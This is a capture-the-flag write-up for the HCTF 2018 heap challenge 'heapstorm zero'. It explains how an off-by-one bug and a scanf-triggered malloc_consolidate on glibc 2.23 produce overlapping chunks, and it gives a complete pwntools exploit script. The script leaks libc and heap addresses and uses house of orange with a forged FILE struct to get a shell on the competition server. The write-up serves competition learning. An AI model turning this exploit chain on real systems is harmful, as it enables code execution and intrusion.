Hctf 2018 heapstorm zero
10 November 2018Hi, I am Ne0. This weekend my team Eur3kA played HCTF 2018 and won the champion for a second time! I was really proud of my teammates(We solved all the binary challenges!). As this challenge is solved by only 3 teams, I decided to write a writeup for it.
Program
The challenge can be download in my Github repo
The logic of this program is evident. You can allocate, view and delete chunks that are less or equal than size 0x40.
===== (fake) HEAP STORM ZERO =====
1. Allocate
2. View
3. Delete
4. Exit
Choice:
The version of the libc is 2.23
Vulnerability
The only bug off by one is in readn function.
Solution
It seems impossible to solve it at the first glance, because we have only fastbin chunks, and off by one just change the size to 0 , which is never a valid size.
But Wait. Why does it use scanf and a self-written getint function to get an integer from stdin? Well , it turns out that the scanf is the key to solve this challenge!
When you input a very long string to scanf , it will malloc a buffer to handle it. For example, if I input 'A'*0x500 when it is calling scanf("%d",&choice) ,it will call malloc(0x800). Well, this is a largebin chunk and it will trigger malloc_consolidate!
So the exploitation includes the following steps:
- make lots of freed
fastbin chunks, - trigger
malloc_consolidateto make largerunsortedbinchunksA. - use
off by oneto shrink the size of the freedunsortebin chunk, this will cause its next chunkBfail to update itsprev size - Try to merge the
B.Bshould be afastbin chunk. To merge it, we just need to free it and triggermalloc_consolidateagain - Now you have
overlapped chunks. Leak and exploit ! In my exploit script, I usehouse of orangeto get a shell.
Exploit
from pwn import *
local=0
pc='./heapstorm_zero'
remote_addr=['150.109.44.250',20001]
aslr=False
context.log_level=True
context.terminal=['tmux','split','-h']
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("Choice:",str(idx))
def add(size,content):
choice(1)
sla(":",str(size))
sa(":",content)
def view(idx):
choice(2)
sla(":",str(idx))
def free(idx):
choice(3)
sla(":",str(idx))
if __name__ == '__main__':
sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
# Produce some freed chunks
add(0x18,"AAA\n")
for i in range(24):
add(0x38,"A"*8+str(i)+"\n")
free(0)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
# Trigger malloc consolidate
sla("Choice:","1"*0x500)
# shrink the size
add(0x38,"B"*0x30+p64(0x120))
add(0x38,"C"*0x30+p32(0x40)+'\n')
add(0x38,"P"*0x30+'\n')
free(4)
# merge it
sla("Choice:","1"*0x500)
free(10)
sla("Choice:","1"*0x500)
#Leak address
add(0x38,"DDD\n")
add(0x38,"KKK\n")
add(0x38,"EEE\n")
view(5)
ru("Content: ")
libc_addr=raddr(6)-0x3c4b78
libc.address=libc_addr
lg("libc addr",libc_addr)
add(0x38,"GGG\n")
free(10)
free(11)
free(5)
view(8)
ru("Content: ")
heap=raddr(6)-0x2a0
lg("heap addr",heap)
# Fake a file struct to use house of orange
for i in range(6):
free(23-i)
fake_struct="/bin/sh\x00"+p64(0x61)+p64(0)+p64(heap+0x430)+p64(0)+p64(1)
add(0x38,fake_struct+'\n')
free(17)
add(0x38,p64(0)+p64(0x31)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,p64(0)*3+p64(heap+0x2b0)+'\n')
# Faking vtable. Well I wrote this scipt in 30 mins, so it sucks
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x28,"DDD\n")
add(0x28,p64(0)+p64(0x41)+"\n")
free(6)
add(0x38,p64(0)*3+p64(0xa1)+p64(0)+p64(heap+0x470)+'\n')
add(0x28,'aa'+'\n')
# you need to allocate one more chunk to trigger house of orange
p.interactive()
Last
Well, if you like this writeup, please follow me on Github. And if you have any better solutions , please share it with me!